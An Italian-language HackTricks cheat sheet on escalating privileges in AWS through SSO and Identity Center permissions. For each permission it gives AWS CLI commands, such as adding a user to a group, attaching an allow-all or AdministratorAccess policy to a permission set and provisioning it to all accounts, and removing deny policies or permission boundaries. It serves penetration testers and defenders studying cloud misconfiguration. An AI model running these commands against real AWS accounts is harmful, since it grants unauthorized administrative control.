AWS - SSO & identitystore Privesc

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks AWS)!

Altri modi per supportare HackTricks:

Centro identità AWS / AWS SSO

Per ulteriori informazioni su AWS Identity Center / AWS SSO controlla:

pageAWS - IAM, Identity Center & SSO Enum

Nota che per default, solo utenti con permessi dall'Account di Gestione saranno in grado di accedere e controllare il Centro identità IAM. Gli utenti di altri account possono farlo solo se l'account è un Amministratore Delegato. Consulta la documentazione per ulteriori informazioni.

Reimposta Password

Un modo semplice per scalare i privilegi in casi come questo sarebbe avere un permesso che consente di reimpostare le password degli utenti. Purtroppo è possibile solo inviare un'email all'utente per reimpostare la sua password, quindi avresti bisogno di accedere all'email dell'utente.

identitystore:CreateGroupMembership

Con questo permesso è possibile inserire un utente all'interno di un gruppo in modo che erediti tutti i permessi del gruppo.

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Un attaccante con questa autorizzazione potrebbe concedere permessi aggiuntivi a un set di autorizzazioni che è concesso a un utente sotto il suo controllo

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Un attaccante con questa autorizzazione potrebbe concedere permessi aggiuntivi a un set di autorizzazioni che è concesso a un utente sotto il suo controllo

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Un attaccante con questa autorizzazione potrebbe concedere permessi aggiuntivi a un set di autorizzazioni che è stato concesso a un utente sotto il suo controllo.

Per abusare di queste autorizzazioni in questo caso è necessario conoscere il nome di una policy gestita dal cliente che si trova in TUTTI gli account che verranno interessati.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:GetRoleCredentials

Restituisce le credenziali a breve termine STS per un determinato nome ruolo assegnato all'utente.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Tuttavia, è necessario un token di accesso di cui non sono sicuro di come ottenere (TODO).

sso:DetachManagedPolicyFromPermissionSet

Un attaccante con questa autorizzazione può rimuovere l'associazione tra una policy gestita da AWS dal set di autorizzazioni specificato. È possibile concedere ulteriori privilegi tramite il distacco di una policy gestita (policy di negazione).

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Un attaccante con questa autorizzazione può rimuovere l'associazione tra una policy gestita dal cliente dal set di autorizzazioni specificato. È possibile concedere ulteriori privilegi tramite il distacco di una policy gestita (policy di negazione).

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Un attaccante con questa autorizzazione può rimuovere le autorizzazioni da una policy inline dal set di autorizzazioni. È possibile concedere ulteriori privilegi staccando una policy inline (policy di negazione).

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

Un attaccante con questa autorizzazione può rimuovere il Limite di Autorizzazione dal set di autorizzazioni. È possibile concedere ulteriori privilegi rimuovendo le restrizioni sul set di autorizzazioni fornite dal Limite di Autorizzazione.

aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team di HackTricks AWS)!

Altri modi per supportare HackTricks:

Last updated